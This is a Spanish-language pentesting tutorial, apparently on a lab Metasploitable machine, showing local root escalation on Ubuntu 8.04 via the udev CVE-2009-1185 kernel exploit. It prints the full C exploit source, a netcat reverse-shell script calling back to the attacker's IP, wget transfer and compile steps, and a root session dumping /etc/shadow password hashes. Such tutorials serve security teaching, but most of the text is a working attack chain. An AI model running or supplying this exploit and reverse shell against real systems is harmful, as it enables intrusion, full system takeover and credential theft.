Seguridad: Escalando privilegios localmente usando un exploit para el kernel Linux

Escalado de privilegios

Obtener root se considera el mayor logro en el mundo de la explotación de Linux. Al igual que SYSTEM en Windows, la cuenta root proporciona acceso administrativo total al sistema operativo. A veces, incluso un exploit exitoso solo dará un shell de bajo nivel; En ese caso, una técnica llamada Escalación de Privilegios se puede utilizar para obtener acceso a cuentas más potentes y poseer completamente el sistema.

Lea: Convirtiendo ArchLinux en una distribución de pentesting

· Paso 1: Recopilar información y buscar el exploit

En un artículo anterior, utilizamos Metasploit para obtener un shell de pocos privilegios en el sistema de destino mediante la explotación de la vulnerabilidad Shellshock. Lo que queremos en última instancia es el acceso de root, por lo tanto, para hacerlo, necesitaremos escalar los privilegios y salir del shell limitado.

Lea: Seguridad web: Explotando ShellShock en un servidor web usando metasploit

Utilizaremos un exploit de kernel para escalar privilegios y obtener root, por lo que primero debemos encontrar información sobre el objetivo. Como ya tenemos un shell, podemos usar el comando uname -a para ver la información del núcleo sobre el sistema. El comando lsb_release -a también es útil para averiguar qué distribución se está ejecutando y su información de lanzamiento.

msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit

[*] Started reverse TCP handler on 192.168.0.5:4444 
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (36 bytes) to 192.168.0.8
[*] Command shell session 1 opened (192.168.0.5:4444 -> 192.168.0.8:47055) at 2018-08-10 09:05:24 -0500

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 8.04
Release:	8.04
Codename:	hardy

Desde aquí, podemos buscar un exploit para usar. Los comandos que acabamos de ejecutar nos dicen que el objetivo es ejecuta Ubuntu 8.04 con kernel versión 2.6.24.Existe una herramientra llamada searchsploit la cual fue desarrollada y contiene una versión local de Exploit-DB, una base de datos que contiene miles de exploits públicos. Usaremos el comando  searchsploit desde la terminal.

[email protected] ~ ->
 ➤➤➤➤ ▶ searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stac | exploits/linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation                         | exploits/linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (1)                 | exploits/linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (2)                 | exploits/linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)       | exploits/linux/local/9844.py
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation                    | exploits/linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation          | exploits/linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasp | exploits/linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) -  | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)        | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)                             | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)                | exploits/linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege Escalation (2)              | exploits/linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendp | exploits/linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Escalation                       | exploits/linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3)                          | exploits/linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)    | exploits/linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)       | exploits/linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_da | exploits/linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)                            | exploits/linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation                             | exploits/linux/local/40812.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation                  | exploits/linux/local/2031.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (1)                    | exploits/linux/local/2004.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (2)                    | exploits/linux/local/2005.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (3)                    | exploits/linux/local/2006.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (4)                    | exploits/linux/local/2011.sh
Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege Escalation                                       | exploits/linux/local/29714.txt
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)                       | exploits/linux/local/5092.c
Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation                                        | exploits/linux/local/2013.c
Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege Escalation                                     | exploits/linux/local/10613.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escala | exploits/linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc | exploits/linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/ | exploits/linux/local/40839.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)                         | exploits/linux/local/5093.c
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set | exploits/linux_x86-64/local/9083.c
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation               | exploits/linux_x86-64/local/15024.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation                           | exploits/linux/local/17391.c
Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalation                      | exploits/linux/local/8678.c
Linux Kernel 2.6.30 < 2.6.30.1 / SELinux (RHEL 5) - Local Privilege Escalation                   | exploits/linux/local/9191.txt
Linux Kernel 2.6.32 (Ubuntu 10.04) - '/proc' Handling SUID Privilege Escalation                  | exploits/linux/local/41770.txt
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)                                    | exploits/linux/local/10018.sh
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)            | exploits/linux/local/25444.c
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation                              | exploits/linux/local/15285.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation         | exploits/linux/local/15704.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation | exploits/linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)             | exploits/linux/local/35161.c
Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege | exploits/linux/local/1397.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation               | exploits/linux/local/8673.c
Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation (1)    | exploits/linux/local/25202.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)                                     | exploits/linux/local/33322.c
Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation                              | exploits/linux/local/33395.txt
Linux Kernel 2.6.x - Ptrace Privilege Escalation                                                 | exploits/linux/local/30604.c
Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation                                   | exploits/linux/local/4756.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)                  | exploits/linux/local/9575.c
Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)                   | exploits/linux/local/9574.txt
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation                        | exploits/linux/local/6851.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation                             | exploits/linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation                               | exploits/linux/local/8369.sh
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1)        | exploits/linux_x86/local/15916.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)    | exploits/linux/local/15944.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation         | exploits/linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation           | exploits/linux_x86-64/local/15023.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation             | exploits/linux/local/17787.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation                      | exploits/linux/local/15774.c
Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration | exploits/linux/local/718.c
ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation   | exploits/linux/local/12130.py
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation                  | exploits/linux/local/23674.txt

Dado que estamos buscando un exploit de escalación de privilegios, buscamos privilege, luego usamos grep para canalizar nuestra búsqueda en resultados más exactos mientras ignoramos mayúsculas y minúsculas con el distintivo -i. Para este ejemplo, usaremos el exploit 8572.c, que aprovecha una falla en el administrador de dispositivos de UDEV, lo que permite la ejecución del código a través de un mensaje de Netlink no verificado. Simplemente copie la ubicación del exploit y use el comando locate para encontrar la ruta completa:

[email protected] ~ ->
 ➤➤➤➤ ▶ locate linux/local/8572.c
/opt/searchsploit/exploits/linux/local/8572.c

Este exploit está escrito en C (por lo tanto, la extensión .c), pero no tendremos que preocuparnos por el código fuente; se ejecutará una vez que lo compilemos, pero no hace daño adquirir el hábito de leer código para ver exactamente lo que hace. Ahora podemos ejecutar cat sobre ese archivo para ver información sobre este exploit más cualquier nota de desarrollador.

[email protected] ~ ->
 ➤➤➤➤ ▶ cat /opt/searchsploit/exploits/linux/local/8572.c
/*
 * cve-2009-1185.c
 *
 * udev < 141 Local Privilege Escalation Exploit
 * Jon Oberheide <[email protected]>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
 *
 *   udev before 1.4.1 does not verify whether a NETLINK message originates 
 *   from kernel space, which allows local users to gain privileges by sending 
 *   a NETLINK message from user space.
 *
 * Notes:
 *   
 *   An alternate version of kcope's exploit.  This exploit leverages the 
 *   95-udev-late.rules functionality that is meant to run arbitrary commands 
 *   when a device is removed.  A bit cleaner and reliable as long as your 
 *   distro ships that rule file.
 *
 *   Tested on Gentoo, Intrepid, and Jaunty.
 *
 * Usage:
 *
 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, 
 *   usually is the udevd PID minus 1) as argv[1].
 *
 *   The exploit will execute /tmp/run as root so throw whatever payload you 
 *   want in there.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
	int sock;
	char *mp, *err;
	char message[4096];
	struct stat st;
	struct msghdr msg;
	struct iovec iovector;
	struct sockaddr_nl address;

	if (argc < 2) {
		err = "Pass the udevd netlink PID as an argument";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
	    (stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
		err = "Required 95-udev-late.rules not found";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	if (stat("/tmp/run", &st) == -1) {
		err = "/tmp/run does not exist, please create it";
		printf("[-] Error: %s\n", err);
		exit(1);
	}
	system("chmod +x /tmp/run");

	memset(&address, 0, sizeof(address));
	address.nl_family = AF_NETLINK;
	address.nl_pid = atoi(argv[1]);
	address.nl_groups = 0;

	msg.msg_name = (void*)&address;
	msg.msg_namelen = sizeof(address);
	msg.msg_iov = &iovector;
	msg.msg_iovlen = 1;

	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
	bind(sock, (struct sockaddr *) &address, sizeof(address));

	mp = message;
	mp += sprintf(mp, "[email protected]/d") + 1;
	mp += sprintf(mp, "SUBSYSTEM=block") + 1;
	mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
	mp += sprintf(mp, "TIMEOUT=10") + 1;
	mp += sprintf(mp, "ACTION=remove") +1;
	mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

	iovector.iov_base = (void*)message;
	iovector.iov_len = (int)(mp-message);

	sendmsg(sock, &msg, 0);

	close(sock);

	return 0;
}

// milw0rm.com [2009-04-30]

· Paso 2: Transferir el Exploit al objetivo

Para usar este exploit, debe estar en la máquina de destino. La forma más fácil de lograr esto es alojar el archivo en un servidor Apache local en nuestra máquina, conectarlo al servidor desde la máquina de destino y finalmente descargar el archivo. Antes de hacer eso, sin embargo, se deben tomar algunas medidas preparatorias.

Primero, debemos asegurarnos de que el servidor web esté funcionando, así que inicie un servidor http desde su terminal (puede ser apache, nginx). Nosotros vamos a usar apache. A continuación, podemos hacer un enlace simbólico entre el directorio donde se encuentra el exploit y el directorio que sirve los archivos en el servidor; Esto hará que el exploit esté disponible para descargar. Para hacer esto, ejecute el siguiente comando:

[email protected] ~ ->
 ➤➤➤➤ ▶ sudo ln -s /opt/searchsploit/exploits/linux/local/8572.c /srv/http/

Este exploit se ejecutará desde el directorio /tmp en el destino, por lo que primero debemos crear el archivo que se ejecutará. Cree el archivo /srv/http/run e ingrese estas líneas:

#! /bin/bash
nc 192.168.0.5 4321 -e /bin/bash

Cuando se ejecuta este archivo, utilizará Netcat para conectarse a la dirección IP de nuestro equipo en el puerto 4321 y generar un shell. Guarde el archivo.

Ahora estamos listos para subir los archivos al destino. De vuelta en nuestro shell de bajo nivel, cambie al directorio /tmp y use la utilidad wget para conectarse al servidor que se ejecuta en nuestro sistema anfitrión y transferir los archivos a la máquina de destino.

cd /tmp
wget 192.168.0.5/run
--11:15:32--  http://192.168.0.5/run
           => `run'
Connecting to 192.168.0.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46

    0K                                                       100%    8.98 KB/s

11:15:32 (8.98 KB/s) - `run' saved [46/46]

wget 192.168.0.5/8572.c
--11:16:14--  http://192.168.0.5/8572.c
           => `8572.c'
Connecting to 192.168.0.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [text/x-c]

    0K ..                                                    100%   32.08 MB/s

11:16:14 (32.08 MB/s) - `8572.c' saved [2876/2876]

· Paso 3: compila y ejecuta

Ahora que los archivos necesarios para ejecutar este exploit se transfieren con éxito a nuestro objetivo, estamos casi listos para ejecutar. Como el archivo exploit está codificado en C, necesitamos compilarlo en un archivo ejecutable . No vamos a entrar en la esencia de los lenguajes compilados aquí, pero, básicamente, hay un código fuente que necesita ser compilado para poder ejecutarse. Podemos hacer esto en sistemas Linux usando GCC.

Ejecute el siguiente comando para compilar el archivo de exploit 8572.c en un archivo ejecutable, utilizando el distintivo -o para especificar el nombre del archivo de salida:

gcc -B /usr/bin -o exploit 8572.c

Finalmente podemos usar ls para verificar que nuestro archivo ejecutable haya sido compilado exitosamente:

ls
4465.jsvc_up
8572.c
VgPgL
exploit
gqCgD
run

En la documentación del archivo 8572.c, dijo que necesitamos encontrar el PID (identificador de proceso) del socket Netlink, que generalmente es el PID del proceso UDEVD menos uno. Podemos hacerlo ejecutando cat /proc/net/netlink, y el único PID distinto de cero debe ser el número que queremos. Verifique que esto sea correcto ejecutando ps aux | grep udev - debería ser un número más alto.

cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
f7c47800 0   0      00000000 0        0        00000000 2
dfec5400 4   0      00000000 0        0        00000000 2
f7f57800 7   0      00000000 0        0        00000000 2
f7cac600 9   0      00000000 0        0        00000000 2
f7c43400 10  0      00000000 0        0        00000000 2
f7c47c00 15  0      00000000 0        0        00000000 2
df9c7a00 15  2294   00000001 0        0        00000000 2
f7c4c800 16  0      00000000 0        0        00000000 2
df9bd000 18  0      00000000 0        0        00000000 2
ps aux | grep udev 
root      2295  0.0  0.0   2216   632 ?        S<s  10:15   0:00 /sbin/udevd --daemon

Luego, debemos configurar un puerto a la escucha en nuestra máquina ArchLinux para que cuando se ejecute la secuencia de comandos "run", podamos obtener el shell. En ArchLinux, escriba nc -lvp 4321 para escuchar las conexiones entrantes.

Ahora que nuestro puerto está abierto, finalmente podemos explotar el objetivo. Recuerde pasar el PID de Netlink como argumento, en este caso, 2294, pero siempre podría ser diferente. Ejecute el siguiente comando en el shell de bajo nivel:

./exploit 2294

Después de unos momentos, una conexión debería abrirse en nuestro oyente Netcat (donde escribimos nc -lvp 4321), y podemos ejecutar comandos como id y whoami para ver la información del usuario. Podemos ver que hemos obtenido acceso a nivel raíz y, a partir de aquí, básicamente podemos hacer todo lo que queramos en el sistema.

 ➤➤➤➤ ▶ nc -lvp 4321
Connection from 192.168.0.8:33752
id
uid=0(root) gid=0(root)
whoami
root
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
snmp:*:15480:0:99999:7:::

En este tutorial, aprendimos cómo usar un exploit de kernel para realizar escalación de privilegios local y obtener root en el destino. Ahora que tenemos acceso administrativo completo, somos dueños del sistema. En la próxima parte de esta serie, ubicaremos los hashes de contraseña y exploraremos algunas herramientas utilizadas para descifrarlos.

Síguenos en FacebookTwitterunete a nuestro chat en Matrix y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, especialista en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Entusiasta de la tecnología y amante de GNU/Linux. Twitter: @edu4rdshl XMPP/Email: [email protected]